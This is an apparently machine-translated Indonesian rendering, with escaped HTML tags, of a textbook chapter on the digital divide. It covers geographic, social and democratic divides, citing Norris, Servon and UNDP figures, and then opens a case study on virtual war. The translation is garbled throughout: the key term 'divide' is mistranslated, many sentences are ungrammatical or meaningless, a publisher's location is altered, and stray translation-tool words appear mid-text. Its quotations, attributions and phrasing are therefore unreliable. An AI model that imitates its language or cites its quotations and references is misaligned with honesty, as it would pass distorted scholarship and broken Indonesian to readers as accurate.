(HDP 2003: 75). Dengan demikian ketidakseimbangan, atau perbedaan dari difusi media digital dan Internet-informasi antara kaya dan informasi-miskin di seluruh dunia secara umum telah digunakan sebagai utama mendefinisikan kriteria kesenjangan digital di mana akses universal ke New Media adalah dilihat sebagai bagian dari solusi terhadap tantangan pembangunan dan demokratisasi yang menghadapi banyak komunitas di seluruh dunia (lihat Bab 9).&lt;br /&gt;&lt;br /&gt;Namun, beberapa sarjana percaya bahwa masalah kesenjangan digital multidimensi dan lebih kompleks dari sekadar persoalan akses ke digital media dan internet oleh berbagai negara orang dan wilayah (lihat Hassan 2004; Norris 2001; Servon 2002). Mereka berpendapat bahwa mendefinisikan membagi hanya atas dasar akses ke komputer dan internet sebenarnya sederhana dan tidak melemahkan hanya keseriusan masalah, tetapi juga kemungkinan solusi untuk masalah dalam hal kebijakan publik. Seperti Lisa Servon berpendapat, kesenjangan digital 'telah didefinisikan sebagai masalah akses dalam arti sempit kepemilikan atau izin untuk menggunakan komputer dan Internet '(Servon 2002: 4). Dia berpendapat bahwa kepemilikan dan akses melakukan belum tentu jumlah untuk digunakan dalam semua kasus karena beberapa orang yang memiliki akses mungkin pengguna tidak terampil dari internet atau dalam kasus di mana mereka memiliki keterampilan, mereka mungkin tidak menemukan konten online yang relevan untuk menjadi pengguna konsisten. Meskipun akses fisik ke komputer dan internet tentunya merupakan salah satu variabel kunci untuk mendefinisikan kesenjangan digital, ada kebutuhan untuk memperluas konsep tersebut dengan melihat bagaimana faktor-faktor lain seperti membaca, literasi teknologi, konten, bahasa, jaringan dan biaya yang berhubungan dengan akses internet, membantu dalam pemahaman tentang kesenjangan digital.&lt;br /&gt;&lt;br /&gt;Meilhat secara teknologi terutama tentang keterampilan dan kemampuan individu dan masyarakat untuk menggunakan teknologi digital dan Internet secara efektif untuk memenuhi kebutuhan sosio-ekonomi dan politik. Misalnya, kurangnya hardware dan perangkat lunak keterampilan operasional dapat bertindak sebagai penghalang tidak hanya untuk menggunakan Internet, tetapi juga dalam produksi konten, sehingga menimbulkan kesenjangan digital bahkan di antara mereka dengan akses. Namun, literasi teknologi dipandang oleh beberapa kritikus sebagai hanya salah satu banyak jenis kemahiran yang diperlukan untuk penggunaan efektif media digital dan Internet (lihat Carvin 2000; Damarin 2000). Andy Carvin, misalnya, berpendapat bahwa keaksaraan dasar (kemampuan untuk membaca dan menulis), melek informasi (kemampuan untuk memahami isi kualitas), melek adaptif (kemampuan untuk mengembangkan digital baru media dan internet penggunaan keterampilan) adalah semua bagian penting dalam memahami kompleks sifat kesenjangan digital. Dengan kata lain, tanpa orang keaksaraan dasar tidak dapat membaca atau menghasilkan konten online sedangkan kegagalan untuk memahami kualitas informasi Internet juga dapat menyimpan banyak potensi pengguna dari medium. Adaptif keaksaraan menunjukkan bahwa pengguna internet harus secara konsisten mengembangkan keterampilan penggunaan yang akan membantu mereka untuk menaggulangi kebutuhan teknologi baru dalam perangkat lunak dan keras.&lt;br /&gt;&lt;br /&gt;Isi hambatan membagi adalah tentang kurangnya partisipasi tertentu kelompok-kelompok orang dalam produksi konten online dan kegagalan dengan isi yang produsen untuk memenuhi kebutuhan informasi spesifik dari jenis tertentu atau kelompok pengguna. Servon berpendapat bahwa marginalisasi konten yang membahas kebutuhan orang-orang miskin terdiri dimensi lain kesenjangan digital karena 'saat kelompok yang kurang beruntung log on, mereka sering menemukan bahwa tidak ada isi di sana.[Karena] ... informasi yang berhubungan langsung dengan kehidupan mereka dan masyarakat dan budaya tidak ada '(Servon 2002: 9). Dia juga mengamati bahwa ini adalah terutama karena 'isi ...perangkat keras, perangkat lunak, dan Internet mencerminkan budaya [dan] selera mereka yang menciptakan produk dan pengguna awal - sebagian besar menengah dan atas orang kulit putih kelas '(ibid.: 10, juga lihat UNDP 1999). Dalam dukungan dari-kebutuhan yang berorientasi membagi pemahaman, Meredyth, Ewing dan Thomas juga berpendapat bahwa debat tentang kesenjangan digital tidak lagi harus mengenai universalisasi akses ke komputer, tetapi tentang bagaimana dan mengapa orang menggunakan teknologi baru dan Internet (Meredyth et al 2003.). Mereka berpendapat bahwa konten yang tepat dapat menarik terpinggirkan kelompok dan masyarakat untuk Internet.&lt;br /&gt;&lt;br /&gt;Hal lain yang terkait erat dengan kepekaan terhadap penggunaan kebutuhan isi adalah bahasa. Bahasa dapat bertindak sebagai penghalang untuk orang yang memiliki akses dan&lt;br /&gt;keterampilan melek huruf dan karenanya memperburuk kesenjangan digital antara mereka yang memahami bahasa internet yang paling dominan seperti bahasa Inggris dan mereka yang tidak. Sebagai contoh, lain PBB dan Sosial PBB (2003) Laporan berjudul, yang Peran ICT dalam Menjembatani Digital Divide di Daerah Terpilih berpendapat bahwa sementara akses ke&lt;br /&gt;komputer dan Internet telah menjadi sangat tinggi di Asia dan Pasifik wilayah, hambatan untuk penggunaan efektif dan konsisten dari Internet adalah marginalisasi bahasa daerah di kawasan itu. Hal ini menunjukkan bahwa, sementara ada lebih dari 4.000 bahasa di wilayah ini, 68 persen dari situs web dalam bahasa Inggris yang paling orang tidak mengerti. Hal ini menunjukkan bahwa tidak ada membagi satu digital tunggal, tetapi bahwa ada banyak jenis membagi berdasarkan berbagai faktor (lihat Norris 2001; Meredyth et al. 2003). Pippa Norris's tipologi berbagai jenis digital membagi seperti kesenjangan geografis, kesenjangan sosial dan membagi demokratis mungkin mungkin menyediakan kerangka kerja di mana hubungan rumit akses, melek huruf, isi, bahasa, jenis kelamin, ras dan umur dalam era digital dapat diperiksa secara detail&lt;br /&gt;(Lihat Norris 2001: 3-25).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Kesenjangan geografis&lt;/b&gt;&lt;br /&gt;Kesenjangan geografis terutama tentang akses atau kurangnya akses ke media digital dan Internet karena lokasi geografis. Sebagai Norris berpendapat, ketersediaan digital peluang dan inklusi berikutnya atau pengecualian dari informasi masyarakat dapat dipengaruhi oleh mana kehidupan pribadi dalam hal kedekatan mereka dan akses ke jaringan informasi digital (Norris 2001: 23). Kesenjangan geografis multidimensi dan dapat mengacu pada kesenjangan nasional, regional dan global di tingkat akses ke media digital dan internet. Sedangkan nasional dan regional membagi fokus pada tingkat akses internet di lokasi yang berbeda atau daerah dalam negara, kesenjangan global tentang kesenjangan akses antara orang-orang yang tinggal di sangat maju ekonomi utara dan mereka yang tinggal di kurang berkembang ekonomi selatan.&lt;br /&gt;Haywood Trevor berpendapat bahwa kesenjangan global yang berkembang dalam konteks&lt;br /&gt;ketidaksetaraan tua sebagai akses ke jaringan komputer tampaknya 'diletakkan di atas sama tua&lt;br /&gt;pola ketimpangan geografis dan ekonomi ... '(Haywood 1998: 22), sehingga replikasi ketidaksetaraan nyata dalam bentuk digital. Dengan kata lain, kesenjangan global tampaknya mengikuti kontur dari ketidakseimbangan ekonomi sejarah antara negara-negara utara dan orang-orang dari alasan selatan karena banyak seperti kolonial warisan dari keterbelakangan, kegagalan pasar bebas post kemerdekaan reformasi dan kebijakan perdagangan saat ini tidak adil yang menguntungkan negara-negara maju di biaya dari negara-negara miskin berkembang. Kemiskinan adalah salah satu masalah utama yang memperburuk pengecualian digital global antar daerah. Misalnya, '1 dalam setiap 5 orang di negara berkembang hidup dengan kurang dari US $ 1 per hari dan 1 dari 7 menderita kelaparan kronis '(et al Accenture 2001: 7.). Sekali lagi, menurut YohanesBaylis, Steve Smith dan Patricia Owens:&lt;br /&gt;[O] ne seperlima penduduk dunia hidup dalam kemiskinan ekstrim ..., satu&lt;br /&gt;sepertiga anak di dunia yang kurang gizi ..., setengah dunia penduduk tidak memiliki akses reguler untuk obat-obatan penting ..., lebih dari 30.000&lt;br /&gt;anak meninggal per hari dari penyakit yang mudah dicegah.&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;(Baylis et al 2001:. 202)&lt;br /&gt;tingkat akut seperti kemiskinan dan kekurangan cenderung memaksa sebagian besar&lt;br /&gt;negara-negara Dunia Ketiga untuk memprioritaskan pembangunan di bidang kesehatan masyarakat, perumahan, penyediaan air bersih dan pendidikan, bukannya mengembangkan telekomunikasi infrastruktur untuk menjamin masuknya warga negara mereka dalam apa yang disebut informasi umur. Fokus pada kebutuhan sosial dasar seperti selalu berarti bahwa jaringan telekomunikasi yang begitu sangat diperlukan untuk konektivitas internet masih relatif miskin di sebagian besar negara-negara di selatan dibandingkan di utara, terutama karena akses ke informasi merupakan salah satu di antara yang tak terhitung jumlahnya sosial kebutuhan. Kesenjangan di bidang telekomunikasi juga pasti mempengaruhi tingkat digital peluang yang dapat tersedia bagi orang yang tinggal di suatu wilayah tertentu dari dunia karena Internet bergantung pada jaringan telepon. Berikut contoh menunjukkan beberapa perbedaan yang memperburuk kesenjangan global yang disebabkan oleh masalah infrastruktur:&lt;br /&gt;·         Lebih dari 80% dari orang di dunia belum pernah mendengar nada panggil, biarkan&lt;br /&gt;sendirian 'surfed' web atau menggunakan ponsel (UNDP 1999: 78).&lt;br /&gt;·         Afrika, yang memiliki sekitar 739.000.000 orang, hanya 14 juta telepon&lt;br /&gt;baris, yang jauh lebih kecil dari baris di Manhattan atau Tokyo (Panos 2004: 4).&lt;br /&gt;Kesenjangan digital: KELANGKAAN, KESENJANGAN DAN KONFLIK 125&lt;br /&gt;·         Sub-Sahara Afrika memiliki sekitar 10 persen dari populasi dunia (626&lt;br /&gt;juta), tetapi hanya 0,2 persen dari satu miliar di dunia saluran telepon&lt;br /&gt;(Ibid.: 4).&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;·          Biaya menyewa koneksi rata-rata hampir 20 persen per kapita&lt;br /&gt;PDB di Afrika dibandingkan dengan sembilan persen untuk dunia, dan hanya satu&lt;br /&gt;persen untuk negara berpenghasilan tinggi (ibid.: 4).&lt;br /&gt;Jelas, infrastruktur telekomunikasi miskin di Afrika dan lain berkembang negara memiliki konsekuensi serius pada kesenjangan digital. Sebagai contoh, sementara Internet umumnya dianggap sebagai peluang menciptakan murah, handal dan seketika komunikasi di utara, infrastruktur telekomunikasi miskin di beberapa negara di selatan berarti bahwa akses internet mungkin terbatas sangat sedikit orang, sementara mayoritas orang merasa tidak terjangkau karena sambungan penghalang dan jasa pelayanan yang diperparah oleh kurangnya ekonomi&lt;br /&gt;peluang. Pada intinya, kesenjangan digital itu 'hanyalah sebuah indikator yang lebih dalam&lt;br /&gt;ekonomi malaise kemiskinan dan pengucilan ekonomi (Hassan 2004: 68) dan&lt;br /&gt;'Tidak dapat dibatalkan tanpa menanggulangi pluralitas faktor yang menyebabkan ketimpangan ...&lt;br /&gt;[Karena] ... akses ke TIK harus tertanam dalam perspektif yang lebih umum inklusi, pembangunan dan pengurangan kemiskinan '(Servaes dan Carpentier 2006: 2).&lt;br /&gt;Mengingat serius ketidakseimbangan ekonomi global, media digital yang paling mungkin&lt;br /&gt;untuk lebih berkubu kesenjangan digital global dan melanjutkan penciptaan suatu global&lt;br /&gt;informasi kelas struktur utara global kaya informasi dan informationpoor global selatan (lihat Norris 2001; Hassan 2004). Dalam kata-kata Norris, mantan kelas menjadi '... satu bagi mereka dengan penghasilan, pendidikan ... koneksi memberikan banyak informasi dengan biaya rendah dan kecepatan tinggi ', sedangkan yang terakhir merupakan' untuk mereka yang tidak sambungan, diblokir oleh penghalang waktu, biaya, ketidakpastian dan tergantung pada&lt;br /&gt;ketinggalan jaman informasi '(Norris 2001: 5-6). Selain hambatan infrastruktur, faktor-faktor sosio-budaya seperti bahasa, kelas, gender dan pendidikan senyawa lebih lanjut kesenjangan utara-selatan karena mereka mempengaruhi jumlah orang yang memiliki potensi untuk secara konsisten menggunakan atau tidak menggunakan komputer dan internet. Misalnya, mengenai&lt;br /&gt;faktor gender, negara-negara Eropa umumnya dianggap relatif makmur dan liberal, dan ini berarti bahwa perempuan di negara-negara lebih cenderung memiliki komputer dan terhubung ke Internet dibandingkan dengan Asia dan Afrika rekan-rekan. Akibatnya, kesenjangan global juga harus dilihat dan dipahami melalui prisma faktor lokal atau internal yang mempengaruhi struktur sosial informasi masyarakat dalam hal partisipasi masyarakat. Bahasa juga meningkat&lt;br /&gt;kesenjangan global antara 'kaya' informasi dan 'si miskin' karena, sementara hanya kurang&lt;br /&gt;dari 1 dalam 10 orang berbicara bahasa Inggris, 80 persen dari situs web dan komputer dan&lt;br /&gt;antarmuka pengguna Internet dalam bahasa Inggris (lihat UNDP 1999: 78).&lt;br /&gt;Namun, sangat penting untuk dicatat bahwa meskipun membagi utara-selatan sangat&lt;br /&gt;diucapkan, masih ada perbedaan dalam tingkat akses dan penggunaan yang efektif dari media digital dan Internet antar negara masing-masing daerah. Sebagai contoh, dari Diperkirakan 322 juta pengguna internet di Eropa, Inggris mewakili sekitar 12 persen, Rusia (9 persen), Polandia (4 persen) dan Rumania (1,5 persen) (lihat Internet Dunia Statistik) 2007. Variasi ini mungkin dipengaruhi oleh perbedaan sosial-budaya termasuk kinerja ekonomi nasional dan kebijakan telekomunikasi nasional yang mungkin berdampak pada ketersediaan dan keterjangkauan komputer dan Layanan Internet kepada pengguna akhir. Pengalaman pengecualian digital di Afrika juga tidak seragam dan homogen. Misalnya, ada contoh menarik Benin mana lebih dari 60 persen penduduk buta huruf pada akhir 1990-an; maka, ada hanya hanya 2.000 pengguna internet di negara ini pada saat itu (lihat UNDP 1999: 78). Sekali lagi, pada 2007, sebagian besar pengguna Internet di Afrika umumnya dari Afrika Selatan (6 juta), Nigeria (8 juta), Morrocco (6 juta) dan Mesir (6juta).&lt;br /&gt;&lt;br /&gt;Sosial membagi Kesenjangan sosial tentang perbedaan akses antara berbagai kelompok masyarakat karena&lt;br /&gt;sosio-demografis hambatan seperti kelas, pendapatan, pendidikan, usia jenis kelamin, dan ras. Untuk Misalnya, kelas adalah salah satu penentu utama inklusi digital atau pengecualian.&lt;br /&gt;Holderness Mike berpendapat bahwa 'itu tetap kasus yang tajam, yang paling jelas enumerable membagi dalam ruang cyber adalah orang-orang berdasarkan mana satu hidup dan berapa banyak satu uang '(Holderness 1998: 37). Dalam kebanyakan kasus, orang kaya cenderung tinggal di tempat dengan infrastruktur telekomunikasi baik dengan broadband dan nirkabel&lt;br /&gt;jaringan, sedangkan orang-orang miskin yang tinggal di ghetto kurang cenderung memiliki baik&lt;br /&gt;sanitasi, apalagi jaringan telekomunikasi yang baik (lihat Hoffman et al 2000.;Ebo 1998). Kecenderungan umum baik di negara maju dan berkembang adalah bahwa kelas kaya adalah yang pertama untuk memiliki dan menggunakan media mutakhir teknologi sedangkan orang miskin hanya mendapatkan mereka sebagai hasil dari "trickle-down 'efeknya ketika harga komputer dan koneksi Internet menjadi terjangkau. Sekali lagi, Internet sendiri adalah modal-intensif dan kemudian kebanyakan orang miskin pinggiran yang disimpan dalam karena komputer, modem, perangkat lunak Internet Service Provider 'dan bulanan langganan mungkin tidak terjangkau untuk mereka.&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Sebagai contoh, menurut British Telecommunications (BT), 'dari 9,5 juta orang dewasa yang hidup dengan penghasilan rendah di Inggris, 7 juta (74%) adalah digital dikecualikan '&lt;br /&gt;(Telecom Laporan Inggris 2004). Di Afrika, di mana sebagian besar orang miskin, Mike Jensen berpendapat bahwa pada tahun 2002, 1 dari 35 orang memiliki ponsel (24 juta), 1 di 130 memiliki komputer pribadi (5,9 juta), dan 1 dari 160 telah menggunakan Internet (5 juta) (Jensen 2002: 24). Akibatnya, Norris mengamati bahwa, sejauh membagi penghasilan yang bersangkutan, akses populer untuk komputer dan Internet membutuhkan penghapusan hambatan keuangan yang memperburuk akses fisik membagi yang, pada gilirannya, memiliki efek multiplikasi membagi jenis lain seperti jenis kelamin, ras dan keaksaraan (lihat Norris 2001). Namun, harus dicatat bahwa ada sejumlah besar orang yang memiliki pendapatan yang lebih tinggi tetapi digital terlepas karena hambatan lain seperti umur, literasi teknologi, fobia teknologi dan kurangnya motivasi. Demikian pula, pendapatan yang lebih rendah tidak selalu menghasilkan digital pengecualian karena di banyak kota di Asia, Afrika dan masyarakat India miskin mungkin tidak memiliki akses ke Internet di rumah mereka, tapi dapat mengembangkan penggunaan konsisten dalam perpustakaan umum, kafe cyber, pusat internet pedesaan dan lain jalur akses publik. Dalam penelitian saya yang dilakukan antara tahun 2003 dan 2007 di Zimbabwe, saya menemukan bahwa ada adalah kecenderungan pengembangan menggunakan email konsisten dalam kafe cyber oleh masyarakat miskin perkotaan Kesenjangan digital: KELANGKAAN, KESENJANGAN DAN KONFLIK 127 pekerja pabrik dan perempuan menganggur untuk berkomunikasi dengan kerabat mereka diasingkan sekarang tinggal di Inggris, Australia, Amerika dan Selandia Baru (lihat Moyo 2007).&lt;br /&gt;Pendidikan juga merupakan salah satu unsur kesenjangan kelas. Sebagian besar digital&lt;br /&gt;dikecualikan orang lebih cenderung kurang berpendidikan dan kurang baik dibayar dalam pekerjaan mereka,meskipun hal ini tidak berarti bahwa mereka tidak menggunakan Internet. Misalnya, PBB World Food Program (UNWFP) memiliki inovatif musiman dana kampanye online di Afrika yang menghubungkan masyarakat miskin, kurang berpendidikan petani kecil di daerah pedesaan untuk menjual sebagian dari tanaman online mereka (UNWFP 2007).Demikian pula, kita juga bisa menemukan bahwa orang tua terdidik mungkin sering menggunakan Internet&lt;br /&gt;lebih dari para pemuda tidak berpendidikan dan menganggur muda di daerah perkotaan dari maju dan berkembang dunia. Namun, seperti Suzanne Damarin berpendapat, jenderal tren adalah bahwa pendidikan atau kurangnya lebih lanjut memperkuat kesenjangan antara mereka yang bisa&lt;br /&gt;menggunakan internet dan mereka yang tidak bisa karena kemungkinan menggunakan Internet&lt;br /&gt;selalu meningkat dengan tingkat pendidikan seseorang karena pengarusutamaan TIK baru di bidang pendidikan (lihat Damarin 2000: 17).&lt;br /&gt;Simak&lt;br /&gt;Baca secara fonetik&lt;br /&gt;variabel lain seperti jenis kelamin, ras dan etnis lebih menyulitkan sosial&lt;br /&gt;membagi karena, seperti Servon berpendapat, diskriminasi sosial telah menyebabkan mengesampingkan berarti partisipasi perempuan dan orang kulit hitam bahkan di negara-negara seperti USA (lihat Servon 2002). Dia berpendapat bahwa di Amerika Serikat, 'sekolah di daerah berpenghasilan rendah yangsangat rumah anak-anak warna sangat kecil kemungkinannya untuk memberikan kualitasakses, pelatihan, dan konten daripada yang sekolah di kabupaten kaya [di mana putih orang hidup] "(ibid. 2002: 10). Dalam hal gender, perempuan tampaknya terpinggirkan karena dominasi kepentingan patriarki dalam masyarakat kebanyakan karena penggunaan digitalmedia dan internet dikenakan membentuk sosial (lihat Preston 2001; Slevin 2000; Scott 2005). Misalnya, 'dicatat perempuan sebesar 38% dari pengguna di Amerika Serikat,&lt;br /&gt;25% di Brazil, 17% di Jepang dan Afrika Selatan, 16% di Rusia, 7% di Cina dan sebuah ucapan&lt;br /&gt;4% di negara-negara Arab '(UNDP 1999: 62). Laporan tersebut juga mencatat bahwa, bahkan di Amerika Serikat, pengguna Internet yang khas adalah pria kulit putih muda karena pola penggunaan yang selalu tertanam dalam nilai-nilai sosial budaya yang mempengaruhi orang untuk teknologi daripada wanita.&lt;br /&gt;&lt;br /&gt;Demokrat membagi&lt;br /&gt;&lt;br /&gt;Kesenjangan demokratis mengacu pada kenyataan bahwa ada orang yang dapat menggunakan digital media dan internet sebagai alat dan sumber daya untuk partisipasi dalam aktivisme politik&lt;br /&gt;dan mereka yang tidak bisa. Ini adalah tentang 'orang-orang yang melakukannya, dan tidak menggunakan persenjataan lengkap dari sumber daya digital untuk terlibat, memobilisasi dan berpartisipasi dalam kehidupan publik '(Norris 2001: 4). Dalam intinya, kesenjangan demokratis terjalin erat dengan gagasan kewarganegaraan di mana warga negara (sebagai lawan subyek monarki a) dilihat sebagai terus-menerus meninjau kontrak sosial dan politik dengan negara terhadap penyalahgunaan. membagi ini Oleh karena itu tentang orang-orang yang bisa dan tidak dapat menggunakan kebanyakan Internet sumber daya&lt;br /&gt;dan fasilitas seperti informasi dan berita di website, blog, podcast dan lainnya&lt;br /&gt;forum interaktif seperti forum diskusi, email dan voiceovers untuk keterlibatan kewarganegaraan.&lt;br /&gt;Partisipasi dalam aktivisme berkisar cyber dari individu ke institusi mana orang-orang mengorganisir diri mereka ke dalam kelompok-kelompok sipil untuk membela kepentingan tertentu. Sebagai 128 DIGITAL KULTUR institusi, masyarakat sipil telah banyak disebut sebagai 'lingkup kehidupan publik luar kendali negara '(Cola 2002: 25), yang' benteng pertahanan terhadap negara '(Keane 2002: 17), atau 'infrastruktur yang dibutuhkan untuk penyebaran demokrasi dan pembangunan '(Anheir et al 2001: 3.). Internet telah menjadi pusat dalam keterlibatan masyarakat proses pada tingkat nasional dan global (lihat Bab 8). Menarik contoh sipil organisasi yang berjuang untuk menahan pemerintah mereka bertanggung jawab kepada warga menggunakan Internet termasuk, AS Jaringan Hak Asasi Manusia (USA), Dewan Muslim Inggris (Inggris), Dewan Australia Perempuan dan Perpolisian (Australia) dan Kubatana Jaringan Civic (Zimbabwe). Pada tingkat global, masyarakat sipil juga telah menggunakan Internet untuk jaringan dan memobilisasi anggota terhadap keputusan-keputusan antar-negara tertentu yang menentukan kebijakan global yang mempengaruhi kehidupan masyarakat di tingkat nasional (lihat Nakal 2001; Aronson 2001). Untuk Contohnya, organisasi seperti Amnesty International, Green Peace dan International Forum Globalisasi ekstensif menggunakan Internet sebagai bagian dari cyberactivism mereka dan sipil keterlibatan dalam isu-isu seperti hak asasi manusia, lingkungan dan globalisasi tidak adil praktek. The Battle for Seattle protes terhadap WTO pada tahun 1999 dan perang anti-Irak gerakan solidaritas cyber di pasca-September 11 (9 / 11) adalah beberapa menarik contoh perlawanan sipil di mana Internet berperan lebih besar dalam memobilisasi orang untuk menolak keputusan negara dan antar negara.&lt;br /&gt;Kesenjangan demokratis juga dipengaruhi oleh lain seperti membagi seperti melek / buta huruf, perkotaan / pedesaan, pria / wanita dan muda versus tua. Tentang keaksaraan, di sisi salah satu membagi ada aktivis cyber yang mungkin akses fisik ke komputer dan melek informasi untuk memecahkan kode politik pesan, sedangkan di sisi lain mungkin ada orang-orang yang baik memiliki akses tetapi tidak memiliki ketrampilan atau mereka yang tidak memiliki keduanya. Kesenjangan demokratis Oleh karena itu kompleks karena tidak hanya berakhir dengan akses atau kurangnya, tetapi juga menekankan media keaksaraan yang menurut James Potter, bukan hanya tentang keterlibatan aktif dengan media pesan pada tingkat kognitif dan afektif, tetapi juga melibatkan melek komputer dan literasi visual khususnya sebagai media dan teks media terus berkumpul di Internet dengan cara yang permintaan pembaca dan kecanggihan user (Potter 2001: 4-14). The berita media dan organisasi sipil masih dalam proses belajar bagaimana untuk mengeksploitasi potensi penuh dari internet sebagai media multimodal. Digital advokasi dapat Oleh karena itu dipandang sebagai suatu proses yang masih dalam transisi sebagai individu dan&lt;br /&gt;Organisasi masih belajar bagaimana menggunakan potensi dari Web untuk melakukan lebih dari hanya bertindak sebagai bentuk statis pamflet elektronik atau poster '(Norris 2001: 190). Dalam Selain itu, Roger Fiddler berpendapat bahwa, karena kurangnya kecanggihan oleh 'pengguna pribadi komputer ... masih digunakan oleh kebanyakan orang sebagai sedikit lebih dari mesin ketik elektronik ' dan bahwa 'bahkan dengan software yang user-friendly baru dan penambahan mouse, pribadi komputer tetap jelas tidak bersahabat '(Fiddler 1994: 32).&lt;br /&gt;Demikian pula, kecanggihan pengguna dapat bervariasi menurut kelas, usia ras, dan&lt;br /&gt;kesenjangan desa dan kota dan hal ini percabangan pada kesenjangan demokratis.&lt;br /&gt;Kesimpulan&lt;br /&gt;&lt;br /&gt;TIK baru dan internet tampaknya memainkan peran yang sangat penting dalam kehidupan manusia dengan menyediakan sejumlah besar informasi yang membantu warga untuk membuat informasi Kesenjangan digital: KELANGKAAN, KESENJANGAN DAN KONFLIK 129&lt;br /&gt;pilihan tidak hanya dalam politik dan bisnis, tetapi juga di tantangan sederhana bahwa mereka&lt;br /&gt;hadapi dalam kehidupan sehari-hari mereka seperti berbelanja atau memilih sekolah terbaik atau universitas untuk mereka anak-anak. Membagi berbagai digital dibahas dalam bab ini melambangkan serius masalah kemiskinan informasi yang mempengaruhi milyaran orang di usia&lt;br /&gt;disebut informasi masyarakat di mana, karena banyak instrumen internasional hak asasi manusia&lt;br /&gt;negara, informasi yang seharusnya menjadi hak asasi manusia (lihat Pasal 19, Deklarasi PBB&lt;br /&gt;(1948), Pasal 19, Kovenan Internasional tentang Hak Sipil dan Politik (1966); Pasal 9, Piagam Afrika (1981)). Hal ini sebagian karena masyarakat informasi wacana adalah pasar-driven dan juga tertanam dalam globalisasi neo-liberal proses yang mengutamakan kepentingan kekuatan perusahaan global selama orang-orang miliaran orang miskin tanpa akses ke Internet (lihat Preston 2001). Sementara informasi dan komunikasi secara hukum dianggap sebagai hak asasi manusia, besar industri komunikasi tidak tertarik untuk berinvestasi di negara-negara miskin dan masyarakat karena mereka tidak membuat keuntungan karena terpinggirkan kelompok cenderung memprioritaskan kebutuhan sosial lainnya, bukan informasi.&lt;br /&gt;Namun, menurut mantan Sekretaris Jenderal PBB, Kofi Annan, yang perjuangan untuk makanan, tempat tinggal dan pakaian ini tidak berarti terpisah dari yang untuk informasi. Pada tahun 1999 ia menyatakan bahwa, 'Orang-orang tidak banyak hal: pekerjaan, tempat tinggal, dan makanan, kesehatan dan air minum. Hari ini, yang terputus dari layanan telekomunikasi dasar adalah kesulitan hampir sama akut seperti ini memang kekurangan lain dan dapat mengurangi kemungkinan menemukan solusi untuk mereka "(Annan 1999: 6). Masalah digital membagi tidak boleh diserahkan kepada kekuatan pasar saja jika masuknya atau partisipasi&lt;br /&gt;masyarakat yang terpinggirkan dalam proses informasi masyarakat dan globalisasi harus menyadari. Solusi untuk masalah akses, infrastruktur, konten, teknologi keaksaraan dan berbagai bentuk diskriminasi harus mengambil pendekatan multi-stakeholder dalam hal kerajinan respon kebijakan dan pelaksanaan yang disepakati strategi. Jika tidak, bisa dikatakan bahwa dalam ekonomi lemah dan sakit, penuh potensi internet mungkin tidak pernah terwujud karena cenderung '... untuk menghubungkan tersambung lebih dari perifer '(Norris 2001: 95).&lt;br /&gt;Fitur membaca&lt;br /&gt;Castells, Manuel (1999) The Age Informasi: Ekonomi, Masyarakat dan Budaya. Jakarta:&lt;br /&gt;Blackwell Publishers.&lt;br /&gt;Hassan, Robert (2004) Media, Politik dan Masyarakat Jaringan. Milton Keynes: Open&lt;br /&gt;University Press.&lt;br /&gt;Norris, Pippa (2001) Digital Divide: Civic Engagement, Kemiskinan Informasi, dan&lt;br /&gt;Worldwide Internet. Cambridge, USA: Cambridge University Press.&lt;br /&gt;Servon, Lisa (2002) Redefining Digital Divide: Teknologi, Masyarakat dan Publik&lt;br /&gt;Kebijakan. Malden, MA: Blackwell Publishers.&lt;br /&gt;Wyatt, Sally et al. (Eds) (2000) Teknologi dan In / Kesetaraan: Mempertanyakan Informasi&lt;br /&gt;Masyarakat. London: Routledge.&lt;br /&gt;&lt;br /&gt;Studi Kasus: perang Virtual&lt;br /&gt;Sebastian Kaempf&lt;br /&gt;&lt;br /&gt;Pada 1990-an, diskusi tentang 'faktor CNN' apa yang disebut (politik efek yang dihasilkan&lt;br /&gt;dari munculnya terganggu, liputan televisi real-time global) berikut intervensi Barat di Irak dan Somalia memeriksa beberapa masalah penting dibesarkan oleh representasi media dan keamanan. Namun, pada abad ke dua puluh Frist, yang Media munculnya teknologi baru telah secara mendasar mulai berubah tidak hanya berarti melalui perang kontemporer yang sedang dilancarkan tetapi juga perang visual representasi. perang kontemporer memiliki garis depan baru, di mana perang tidak lagi berjuang secara fisik tapi hampir dan di mana para aktor yang terlibat telah menggantikan bom dan peluru dengan senjata dalam bentuk gigitan dan bandwidth.&lt;br /&gt;Studi kasus ini mengkaji perubahan ini dan menilai implikasi etis&lt;br /&gt;untuk 'Perang Melawan Teror' itu. Sebuah penekanan khusus ditempatkan pada meningkatnya penggunaan digital foto dan video sebagai senjata strategis dalam konteks konflik post-9/11 antara militer AS dan musuh-musuh di Afghanistan dan Irak. Seperti pemeriksaan dibahas dalam konteks dari kondisi yang berlaku militer asimetri sebagai dampak tidak terakhir hanya pada cara-cara di mana militer AS dan perusahaan lawan di Afghanistan dan Irak telah melancarkan perang virtual gambar (disebarluaskan melalui blog, YouTube, ponsel dan situs web), tetapi juga bagaimana digital gambar tersebut telah dipahami oleh khalayak target mereka.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Berperang di era Media Baru&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Untuk memahami perubahan saat ini dalam representasi visual perang dilancarkan di Baru Media usia - yang pada diri mereka sendiri sebagian besar telah muncul sebagai reaksi terhadap persepsi ' kampanye manajemen dijalankan oleh Pentagon - pertama kita perlu memahami dua karakteristik pusat dianggap berasal dari perang AS di dunia pasca-Perang Dingin. Pertama,&lt;br /&gt;akuisisi teknologi militer baru dan restrukturisasi pasukan AS melalui inovasi teknologi yang dibawa oleh Revolusi yang disebut 'Militer Urusan '(RMA) memungkinkan militer AS untuk upah perang net-centric yang telah menciptakan kondisi asimetri di mana pun campur tangan Amerika Serikat (Smith 2002: 355-74; Bacevich 1996: 37-48). Sejak runtuhnya Uni Soviet, angkatan bersenjata AS telah memiliki kemampuan militer yang jauh melebihi orang-orang dari setiap calon musuh atau bahkan kombinasi dari kedua (Bacevich 2005: 16). Kedua, militer global Dominasi yang dihasilkan dari inovasi teknologi telah memungkinkan&lt;br /&gt;Amerika Serikat untuk melakukan perang dengan cara-cara yang telah menjadi semakin tanpa risiko untuk militer AS personil dan untuk warga sipil di negara-negara target. Di jantung ini 'postmodern' (lihat Bab 1) perang US terletak kemampuan untuk menerapkan gaya tanpa menderita risiko timbal balik cedera (Kahn 2002: 7). Peperangan tanpa risiko, James 